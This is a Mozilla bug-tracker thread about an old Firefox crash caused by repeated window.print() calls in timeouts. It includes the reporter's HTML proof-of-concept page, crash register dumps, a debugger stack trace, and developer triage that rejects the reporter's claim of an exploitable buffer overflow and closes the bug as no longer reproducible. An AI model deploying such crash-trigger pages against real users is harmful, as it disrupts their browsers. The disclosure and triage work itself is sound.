Closed Bug 260140 Opened 20 years ago Closed 17 years ago

multiple window.print() in timeouts crashes.

Categories

(Core :: Printing: Output, defect)

x86
Windows 98
defect
Not set
critical

Tracking

()

RESOLVED WORKSFORME

People

(Reporter: dveditz, Unassigned)

References

Details

(Keywords: crash, Whiteboard: [sg:nse])

Attachments

(1 file)

From BlackIceX (at) libero (dot) it:

I wrote this mail for the Mozilla Security Bug Bounty Program. I discovered a
bug that can be used to execute arbitrary code on a machine with a buffer
overflow. It also causes a crash of the browser. These are the results:

#######################################################

FIREFOX ha provocato un errore di pagina non valida nel
modulo <sconosciuto> in 0000:e9140424.
Registri:
EAX=00000000 CS=018f EIP=e9140424 EFLGS=00010206
EBX=00000000 SS=0197 ESP=00c8f050 EBP=00c8f124
ECX=0097b8b8 DS=0197 ESI=01d006f0 FS=1b8f
EDX=00606f36 ES=0197 EDI=80004004 GS=0000
Byte all'indirizzo CS:EIP:

Immagine dello stack:
0067a2e8 00000000 00677a44 00000000 6035cfc8 01d006f0 00675d42 80004004 00000001
02137704 01d006f0 00000000 60340de0 00db5964 00000000 00c8f0d0 

#######################################################

I'm using Mozilla FireFox 0.93 on Windows 98 Second Edition. Internet Explorer
shows the same problem: a buffer overflow with execution of arbitrary code,
system resources go down and also a crash of the machine.

This is the HTML that causes the problem:

####################### cut here ######################

<html>
<head>
<title>Proof of concept</title>
</head>
<body>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
<script>setTimeout("window.print()", (8 * 500))</script>
</body>
</html>

####################### cut here ######################

Explanation:

<script>setTimeout("window.print()", (8 * 500))</script> causes the opening of
the Print Form. If you press the "Cancel" button for more than two times, the
browser causes a buffer overflow and so this can permit the execution of
arbitrary code from an attacker.


For contacts:

Sabino Amoroso
Attached file testcase from bug
Assignee: general → dveditz
Status: UNCONFIRMED → ASSIGNED
Stack trace of access violation in debugger:

nsCOMPtr<nsITimer>::get() line 693 + 3 bytes
nsCOMPtr<nsITimer>::operator nsDerivedSafe<nsITimer> *() line 706
nsPagePrintTimer::Stop() line 144 + 11 bytes
nsPrintEngine::CleanupOnFailure(unsigned int 2147500036, int 1) line 2196
nsPrintEngine::Print(nsPrintEngine * const 0x036e78a8, nsIPrintSettings *
0x03abe2b8, nsIWebProgressListener * 0x00000000) line 787 + 14 bytes
DocumentViewerImpl::Print(DocumentViewerImpl * const 0x03b38d98,
nsIPrintSettings * 0x03abe2b8, nsIWebProgressListener * 0x00000000) line 3171 +
26 bytes
GlobalWindowImpl::Print(GlobalWindowImpl * const 0x03694b04) line 2640
XPTC_InvokeByIndex(nsISupports * 0x03694b04, unsigned int 73, unsigned int 0,
nsXPTCVariant * 0x0012e9e8) line 102
XPCWrappedNative::CallMethod(XPCCallContext & {...}, XPCWrappedNative::CallMode
CALL_METHOD) line 2028 + 43 bytes
XPC_WN_CallMethod(JSContext * 0x03694dc0, JSObject * 0x0358ee40, unsigned int 0,
long * 0x03ba8f78, long * 0x0012ecb8) line 1287 + 14 bytes
js_Invoke(JSContext * 0x03694dc0, unsigned int 0, unsigned int 0) line 941 + 23
bytes
js_Interpret(JSContext * 0x03694dc0, long * 0x0012f53c) line 2972 + 15 bytes
js_Execute(JSContext * 0x03694dc0, JSObject * 0x0358ee40, JSScript * 0x036eff68,
JSStackFrame * 0x00000000, unsigned int 0, long * 0x0012f654) line 1159 + 13 bytes
JS_EvaluateUCScriptForPrincipals(JSContext * 0x03694dc0, JSObject * 0x0358ee40,
JSPrincipals * 0x03ba8e3c, const unsigned short * 0x037c5420, unsigned int 14,
const char * 0x03a8df48, unsigned int 7, long * 0x0012f654) line 3649 + 25 bytes
nsJSContext::EvaluateString(const nsAString & {...}, void * 0x0358ee40,
nsIPrincipal * 0x03ba8e38, const char * 0x03a8df48, unsigned int 7, const char *
0x100b9430, nsAString & {...}, int * 0x0012f77c) line 946 + 67 bytes
GlobalWindowImpl::RunTimeout(nsTimeoutImpl * 0x037c55b8) line 5066 + 113 bytes
GlobalWindowImpl::TimerCallback(nsITimer * 0x037c56a8, void * 0x037c55b8) line 5445
nsTimerImpl::Fire() line 382 + 17 bytes
nsTimerManager::FireNextIdleTimer(nsTimerManager * const 0x02e5cb48) line 616
nsAppShell::Run(nsAppShell * const 0x028b0e10) line 142
nsAppShellService::Run(nsAppShellService * const 0x028b0d50) line 495
xre_main(int 1, char * * 0x003d6fe8, const nsXREAppData * 0x0041d01c kAppData)
line 1918 + 35 bytes
main(int 1, char * * 0x003d6fe8) line 58 + 18 bytes
mainCRTStartup() line 338 + 17 bytes
KERNEL32! 77e814c7()

Registers:
 EAX = DDDDDDF9 EBX = 7FFDF000
 ECX = DDDDDDF9 EDX = 036E78A8
 ESI = 003D6FE8 EDI = 00150000
 EIP = 011CCE4A ESP = 0012E548
 EBP = 0012E54C EFL = 00000296

In an optimized build the stack was much shorter, I'll post as soon as the
talkback submission is processed.
After the second or third cancel it looks like the nsPrintEngine object has
already been freed when we try to clean up. Looks more like a race condition
than a buffer overflow.
Component: Browser-General → Printing
Some tests of the same bug with the last version of Internet Explorer:

*******************

IEXPLORE ha provocato un errore di stack nel modulo KERNEL32.DLL in 0187:bff7429f.
Registri:
EAX=817ab650 CS=0187 EIP=bff7429f EFLGS=00000287
EBX=00000018 SS=018f ESP=02179f88 EBP=00008f80
ECX=c1587cc0 DS=018f ESI=00000000 FS=18bf
EDX=00025384 ES=018f EDI=0217ffff GS=0000
Byte all'indirizzo CS:EIP:
eb 95 8b 54 24 04 50 e8 04 00 00 00 58 c2 04 00 
Immagine dello stack:
bff71547 02179ff4 00006062 0217a03e 02179fec 7029c334 00000001 00000854 00000000
0000001c 00000000 fff19a29 02179ff4 00006062 0217a03e 00000000

Memoria insufficiente per eseguire il programma. Uscire da uno o più programmi e
riprovare. (insufficient memory to execute the program. Exit from one or more
programs and retry.)
Risorse di sitema: 5% (system resources 5%)

********************

IEXPLORE ha provocato un errore di pagina non valida nel
modulo <sconosciuto> in 0000:a00000c9.
Registri:
EAX=02b79620 CS=0187 EIP=a00000c9 EFLGS=00010202
EBX=0418e05c SS=018f ESP=0418dff4 EBP=0418e008
ECX=02b79620 DS=018f ESI=00008080 FS=4cd7
EDX=00443cf8 ES=018f EDI=0418e010 GS=4d1f
Byte all'indirizzo CS:EIP:

Immagine dello stack:
bfb957e9 0000078c 00000082 00000000 00000000 0418e028 bff7363b 0000078c 00000082
00000000 00000000 805a4d67 0000018f 0418e03c bff94407 4d1f8080 

Stack overflow at line: 1 (this message in a small window)

*********************

IEXPLORE ha provocato un errore di pagina non valida nel
modulo OLE32.DLL in 0187:7ff29917.
Registri:
EAX=00550018 CS=0187 EIP=7ff29917 EFLGS=00010206
EBX=02c47e00 SS=018f ESP=00550000 EBP=00550000
ECX=005500a2 DS=018f ESI=8002801d FS=1b4f
EDX=02c47e00 ES=018f EDI=00550170 GS=430f
Byte all'indirizzo CS:EIP:
53 56 33 db 57 8b 7d 08 3b fb 74 2f 6a 10 57 ff 
Immagine dello stack:
00550068 7713b61e 02c47e00 00550018 00000027 8002801d 00000000 00000000 00000000
00000000 00000000 00550060 bff7d0b0 81c53404 005500da 005500da 

**********************

IEXPLORE ha provocato un errore di pagina non valida nel
modulo <sconosciuto> in 0000:82940366.
Registri:
EAX=00000000 CS=0187 EIP=82940366 EFLGS=00010202
EBX=000002a8 SS=018f ESP=0054fe2c EBP=00000000
ECX=00000003 DS=018f ESI=00550900 FS=1b4f
EDX=80000000 ES=018f EDI=02f6fe04 GS=0000
Byte all'indirizzo CS:EIP:
53 8b 9c 24 0c 04 00 00 55 8b ac 24 0c 04 00 00 
Immagine dello stack:

***********************

IEXPLORE ha provocato un errore di pagina non valida nel
modulo RPCRT4.DLL in 0187:7fbd09d1.
Registri:
EAX=00550010 CS=0187 EIP=7fbd09d1 EFLGS=00010246
EBX=7ff31f40 SS=018f ESP=0054fedc EBP=0055015c
ECX=7ff31f08 DS=018f ESI=00428dc0 FS=297f
EDX=00000000 ES=018f EDI=03077e58 GS=628f
Byte all'indirizzo CS:EIP:
53 89 45 b4 56 8b 5d 10 66 8b 4b 10 57 89 65 e8 
Immagine dello stack:

************************
Ben Bucksch wrote:

Trying to prove a buffer overflow in Mozilla using a stack of MSIE  doesn't make
much sense. Even if so, you didn't answer Daniel's question: Where is *your*
data executed? Not all overflows (or crashs) are exploitable per se. Esp. in
this case, where you merely open the Print dialog many times, I don't see where
your program would come in (and get executed).

###################

From http://www.mozilla.org/security/bug-bounty-faq.html:

I don't have the time or desire to work with you further in investigating and
fixing the bug; can I still get a bug bounty reward?
Yes. Again, we're rewarding you for finding a bug, not trying to buy your
cooperation. However we do invite you to work together with us, and we hope that
you'll accept that offer in the spirit in which it was intended.

###################

I discovered a critical bug in Mozilla browser, my cooperation is that to find a
critical bug and to report it directly to Mozilla developers. Now you know that
in the browser there is a security problem, so you have to fix it. I don't want
to make public the exploit, or to give informations about it. I reported the
critical bug and I hope it will be fixed as soon as possible. If you are
interested in the exploit, try to look at the EBP and the ESP (Base and Stack
Pointer), the return address saved in the stack and the CALL instruction.
I want to have information about the reward of the Mozilla Bug Bounty Program.

Sabino Amoroso
I don't think this is a buffer overrun. 

I stumbled across this when I did the following:

javascript: for (prop in someObject) { print(prop); }

Was thinking of something else and errantly put print in there. Hitting cancel a
couple of times blew it up. So I don't think it has anything to do with the
number of timers setup as suggested by the original example.

I suspect this is just an object lifetime issue for Mozilla, couldn't say the
same for IE, though ;-) 

Timeless had a talkback crash TB3560267G Basically the same type of stack.
Even simpler

javascript: print(window); print(window);

will crash. Looks like a race condition on the window shutdown and the print
window starting up in the second print.
The last version of the browser is bugged. ;)
We do not believe this is exploitable, clearing confidential flag to increase
visibility and improve chances of a fix.
Assignee: dveditz → printing
Group: security
Status: ASSIGNED → NEW
QA Contact: general
Summary: multiple window.print() in timeouts crashes. Exploitable? → multiple window.print() in timeouts crashes.
Whiteboard: [sg:nse]
See also bug 218623, which does have an exploitable-looking stack trace.
on Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9a9pre) Gecko/2007092305 Minefield/3.0a9pre ID:2007092305 i get a lot of printing dialogs and i was needed to shutdown Firefox via the process manager. 
Flags: blocking1.9?
Flags: blocking1.9? → blocking1.9+
I can't reproduce the crash on trunk, just lots of print dialogs (~50), but that 
is what the testcase should do. Isn't that what you Tomcat see too?
Can anyway reproduce the crash or has this become WFM.
er, s/way/one/
Status: NEW → RESOLVED
Closed: 17 years ago
Resolution: --- → WORKSFORME
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Created:
Updated:
Size: